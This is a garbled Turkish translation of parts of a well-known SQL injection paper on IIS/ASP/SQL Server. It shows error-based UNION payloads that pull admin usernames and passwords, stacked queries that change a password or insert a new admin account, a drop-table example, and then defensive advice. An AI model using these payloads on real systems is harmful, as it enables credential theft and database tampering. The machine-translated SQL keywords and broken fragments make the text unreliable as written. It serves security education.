Artık bazı önemli tabloları belirlediğimize göre, aynı tekniği veri tabanından bilgi almak için kullanabiliriz.

"admin_login" tablosundan ilk login_name'yi alalım:

http: //duck/index.asp?id = 10 BİRLİĞİ SEÇİM İLK 1 login_name admin_login'den--

ODBC Sürücüleri için Microsoft OLE DB Sağlayıcısı hatası "80040e07"
nvarchar değeri dönüştürülürken sözdizimi hatası "(! ​​LANG: neo" to a column of data type int. !}
/index.asp, satır 5

Artık "neo" girişine sahip bir yönetici kullanıcı olduğunu biliyoruz. Sonunda "neo" şifresini alabiliriz:

http: //duck/index.asp?id = 10 BİRLİĞİ SEÇİM İLK 1 şifre admin_login'DEN burada login_name = "neo" -

ODBC Sürücüleri için Microsoft OLE DB Sağlayıcısı hatası "80040e07"
nvarchar değeri dönüştürülürken sözdizimi hatası "(! ​​LANG: m4trix" to a column of data type int. !}
/index.asp, satır 5

Artık "m4trix" şifresi ile "neo" olarak giriş yapabileceğiz.

6.3 Bir dizgenin sayısal değerini nasıl alabilirim?

Yukarıda açıklanan yöntemde bir sınırlama vardır. Bir sayıdan (sadece 0 ... 9 arasındaki karakterler) oluşan metni dönüştürmeye çalışırsak bir hata mesajı alamayız. Şimdi "trinity" kullanıcısından "31173" şifresinin nasıl alınacağını anlatacağız:

http://duck/index.asp?id = 10 BİRLİĞİ SEÇİM İLK 1 şifre admin_login'DEN burada login_name = "trinity" -

Muhtemelen bir "Sayfası Bulunamadı Bunun nedeni, "31173" şifresinin UNION'dan önce bir tamsayı ile (bizim durumumuzda, 10) bir sayıya çevrilmesidir. Doğru UNION ifadesi elde edildiğinden, SQL sunucusu bir hata mesajı vermeyecektir, ve böylece sayısal gösterim elde edemeyiz.

Bu sorunu çözmek için, dönüşümün devam etmesini önlemek için sonuna bazı harflerle sayısal bir dize ekleyebiliriz. Değiştirilmiş sorgu:

http://duck/index.asp?id = 10 BİRLİK SEÇİMİ ÜST 1 dönüştürme (int, password% 2b "% 20morpheus") admin_login'den burada login_name = "trinity" -

Parolayı herhangi bir metinle bitirmek için artı işaretini (+) kullanırız ("+" = 0x2b için ASCII kodlaması). Ardından, gerçek şifrenin sonuna "% 20morpheus" ekleyeceğiz. Bu nedenle şifre değeri "31173" olsa bile "31173 morpheus" olacaktır. SQL Server, convert () işlevini manuel olarak çağırarak, "31173 morpheus"u bir tamsayıya dönüştürmeye çalışarak bir ODBC hata mesajı verir:

ODBC Sürücüleri için Microsoft OLE DB Sağlayıcısı hatası "80040e07"
nvarchar değeri dönüştürülürken sözdizimi hatası "(! ​​LANG: 31173 morpheus" to a column of data type int. !}
/index.asp, satır 5

Artık "31173" şifresi ile "trinity" olarak giriş yapabileceğiz.

7.0 Veritabanına veri nasıl değiştirilir / eklenir?

Tablodaki tüm sütunların isimlerini aldıktan sonra, güncelleme (GÜNCELLEME) veya hatta ekleme (EKLE) Yeni giriş masaya. Örneğin, "neo" için şifreyi değiştirebiliriz:

http://duck/index.asp?id = 10; GÜNCELLEME "admin_login" SET "password" = "newpas5" WHERE login_name = "neo--

Veritabanına yeni bir kayıt EKLEMEK için:

http://duck/index.asp?id = 10; "admin_login" ("login_id", "login_name", "password", "detaylar") İÇİNE EKLE DEĞERLER (666, "neo2", "newpas5", "NA") -

Artık "newpas5" şifresi ile "neo" olarak giriş yapabileceğiz.

8.0 SQL Enjeksiyonu nasıl önlenir?

filtre Özel semboller tüm satırlarda:

Kullanıcı tarafından girilen herhangi bir veri
- URL parametreleri
- Kurabiye

Sayısal değerler için, bunları SQL sorgusuna geçirmeden önce tam sayıya dönüştürün. Veya bir tamsayı olduğundan emin olmak için ISNUMERIC kullanın.

SQL Server'ı ayrıcalığı olmayan bir kullanıcı olarak çalıştırın.

Kullanılmayan saklı yordamları kaldırın: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Bu çalışma, Chris Anley'in Advanced SQL Injection In SQL Server Applications kitabının bir bölümünün çevirisidir. ()
Sonraki makalelerde, boş zamanın müsaitliğine bağlı olarak bu çeviri tamamlanacaktır.

not Çeviri, eğitim ve tarihi amaçlar için daha ilginç olacaktır.

Orijinal makale başlığı: SQL Uygulamalarında Gelişmiş SQL Enjeksiyonu.

Dipnot

Bu makalede, bilinen bir platform için "SQL enjeksiyonunun" genel yöntemleri ayrıntılı olarak tartışılmaktadır. Microsoft İnterneti Bilgi Sunucusu / Aktif Sunucu Sayfaları / SQL Sunucusu. Uygulamalarda SQL enjeksiyonunun çeşitli kullanımlarını tartışır ve enjeksiyonun kullanılabileceği veritabanlarının güvenliğini ve veri doğrulama yöntemlerini açıklar.

Tanıtım

Yapılandırılmış Sorgu Dili (SQL), veritabanlarıyla etkileşim kurmak için kullanılan yapılandırılmış bir dildir. SQL dilinin birçok "lehçesi" vardır, ancak bugün bunların çoğu, en eski ANSI standartlarından biri olan SQL-92 standardına dayanmaktadır. SQL'in ana işletim bloğu, genellikle bir sonuç kümesi döndüren bir ifadeler topluluğu olan bir sorgudur. SQL ifadeleri, veritabanlarının yapısını değiştirebilir (Veri Tanımlama Dili (DLL) ifadelerini kullanarak) ve içeriklerini değiştirebilir (Veri İşleme Dili (DML) ifadelerini kullanarak). Bu yazıda, Microsoft SQL Server'da kullanılan transact-SQL'e bakacağız.

SQL enjeksiyonu, bir saldırgan uygulamaya gönderilen verileri işlemek için kendi SQL'ini bir sorguya ekleyebildiğinde mümkündür.

Tipik bir SQL ifadesi şöyle görünür:

Yazarlardan kimlik, ad, soyadı seçin

Bu ifade, "yazarlar" tablosunun sütunlarından "id", "ad" ve "soyadı" alır ve tablodaki tüm satırları döndürür. Seçim, belirli bir "yazar" tarafından sınırlandırılabilir, örneğin:

Önadı = "john" ve soyadı = "demirci" olan yazarlardan kimlik, ad, soyadı seçin

Bu sorguda dize değişmezlerinin tek bir alıntı ile ayrıldığına dikkat edilmelidir. "Adı" ve "soyadı"nın kullanıcı girişi olduğu varsayılır. Bu durumda bir saldırgan uygulamaya kendi değerlerini ekleyerek kendi SQL sorgusuna girebilecektir. Örneğin:

Adı: jo "hn Soyadı: smith

O zaman ifade aşağıdaki formu alacaktır:

Önadı = "jo" hn "ve soyadı =" smith " olan yazarlardan id, ad, soyad seçin

Veritabanı böyle bir isteği işlemeye çalıştıktan sonra aşağıdaki hata döndürülür:

Sunucu: Mesaj 170, Seviye 15, Durum 1, Satır 1 Satır 1: "hn" yakınında yanlış sözdizimi.

Hatanın nedeni, girilen tek tırnak işaretinin sorgudaki sınırlayıcıların yapısını bozması olacaktır. Böylece, veritabanı "hn" komutunu çalıştırmayı deneyecek ve başarısız olacak ve bu da bir hataya neden olacaktır. Sonuç olarak, bir saldırgan aşağıdaki bilgileri forma girerse:

Adı: jo "; açılır tablo yazarları-- Soyadı:

"Yazarlar" tablosu kaldırılacak, bu yüzden nedenine daha sonra bakacağız.

Giriş formundan tek tırnakları kaldırırsak ve bunları "değiştirirsek", bu sorunumuzu çözebilir diye düşünebilirsiniz. Ve haklı olacaksınız, ancak bu yöntemi bu soruna bir çözüm olarak kullanmanın bazı sorunları var. İlk olarak, tüm kullanıcı girdileri "dizeler" değildir. Özel formun, genellikle bir sayı olan yazarın "kimliğini" içereceği yer. Örneğin, isteğimiz şöyle görünebilir:

id = 1234 olan yazarlardan id, ad, soyad seçin

Bu durumda, bir saldırgan, sayısal verilerden sonra herhangi bir SQL ifadesini kolayca ekleyebilir. SQL sorgularının diğer türlerinde farklı sınırlayıcılar kullanılır. Örneğin, Microsoft Jet DBMS'de sınırlayıcı "#" şeklindedir. İkincisi, tek tırnaklardan "kaçmak", ilk bakışta göründüğü gibi, kendinizi korumanın en kolay yolu değildir. Bunun hakkında daha sonra daha ayrıntılı konuşacağız.

Burada, bir uygulamada bir kullanıcıyı yetkilendirmek üzere bir veritabanına erişmek için SQL kullanan bir Active Server Pages (ASP) oturum açma sayfasına dayalı bir örnek verilmiştir.

Kullanıcı adı ve şifrenin girildiği giriş formunu içeren sayfanın kodu aşağıdadır.

Giriş sayfası

Giriş yapmak

Kullanıcı adı:
Parola:

Girilen verilerin doğruluğunu belirleyen kod (process_login.asp) aşağıdadır.